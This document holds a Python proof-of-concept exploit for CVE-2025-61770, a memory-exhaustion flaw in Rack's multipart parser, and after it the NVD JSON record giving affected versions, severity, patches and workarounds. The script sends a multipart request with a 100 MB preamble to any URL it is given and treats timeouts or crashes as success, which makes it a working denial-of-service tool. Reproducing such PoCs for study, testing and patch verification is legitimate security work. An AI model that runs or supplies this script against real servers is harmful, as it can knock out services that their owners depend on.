CVE-2025-61770

#!/usr/bin/env python3 # PoC for CVE-2025-61770 - Rack Multipart Parser DoS via large preamble # This script sends a multipart/form-data request with an oversized preamble # to trigger OOM condition on vulnerable Rack versions (< 2.2.19, < 3.1.17, < 3.2.2) import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000/upload" PREAMBLE_SIZE = int(sys.argv[2]) if len(sys.argv) > 2 else 100 * 1024 * 1024 # 100MB default def exploit(): boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW" # Construct multipart body with oversized preamble # The preamble is everything before the first boundary delimiter preamble = "A" * PREAMBLE_SIZE # Fill with arbitrary data body = preamble.encode() + f"\r\n--{boundary}\r\n".encode() body += b'Content-Disposition: form-data; name="field1"\r\n\r\n' body += b'value1\r\n' body += f"--{boundary}--\r\n".encode() headers = { "Content-Type": f"multipart/form-data; boundary={boundary}", "Content-Length": str(len(body)) } print(f"[*] Sending malicious multipart request to {TARGET_URL}") print(f"[*] Preamble size: {PREAMBLE_SIZE / (1024*1024):.2f} MB") print(f"[*] Total body size: {len(body) / (1024*1024):.2f} MB") try: response = requests.post(TARGET_URL, data=body, headers=headers, timeout=30) print(f"[*] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Server timed out - possible DoS condition triggered") except requests.exceptions.ConnectionError as e: print(f"[+] Connection error - server may have crashed: {e}") except Exception as e: print(f"[*] Error: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-61770", "sourceIdentifier": "[email protected]", "published": "2025-10-07T15:16:02.950", "lastModified": "2025-10-10T16:44:36.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rack is a modular Ruby web server interface. In versions prior to 2.2.19, 3.1.17, and 3.2.2, `Rack::Multipart::Parser` buffers the entire multipart preamble (bytes before the first boundary) in memory without any size limit. A client can send a large preamble followed by a valid boundary, causing significant memory use and potential process termination due to out-of-memory (OOM) conditions. Remote attackers can trigger large transient memory spikes by including a long preamble in multipart/form-data requests. The impact scales with allowed request sizes and concurrency, potentially causing worker crashes or severe slowdown due to garbage collection. Versions 2.2.19, 3.1.17, and 3.2.2 enforce a preamble size limit (e.g., 16 KiB) or discard preamble data entirely. Workarounds include limiting total request body size at the proxy or web server level and monitoring memory and set per-process limits to prevent OOM conditions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionEndExcluding": "2.2.19", "matchCriteriaId": "EBB6060B-A06F-4A88-8457-AD850E63E562"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "3.1.0", "versionEndExcluding": "3.1.17", "matchCriteriaId": "850EC79C-0F31-441F-9001-B7CA0CD7758F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "3.2.0", "versionEndExcluding": "3.2.2", "matchCriteriaId": "9A009CC5-8010-446E-A12B-BF5314CA5BEB"}]}]}], "references": [{"url": "https://github.com/rack/rack/commit/589127f4ac8b5cf11cf88fb0cd116ffed4d2181e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rack/rack/commit/d869fed663b113b95a74ad53e1b5cae6ab31f29e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rack/rack/commit/e08f78c656c9394d6737c022bde087e0f33336fd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rack/rack/security/advisories/GHSA-p543-xpfm-54cp", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}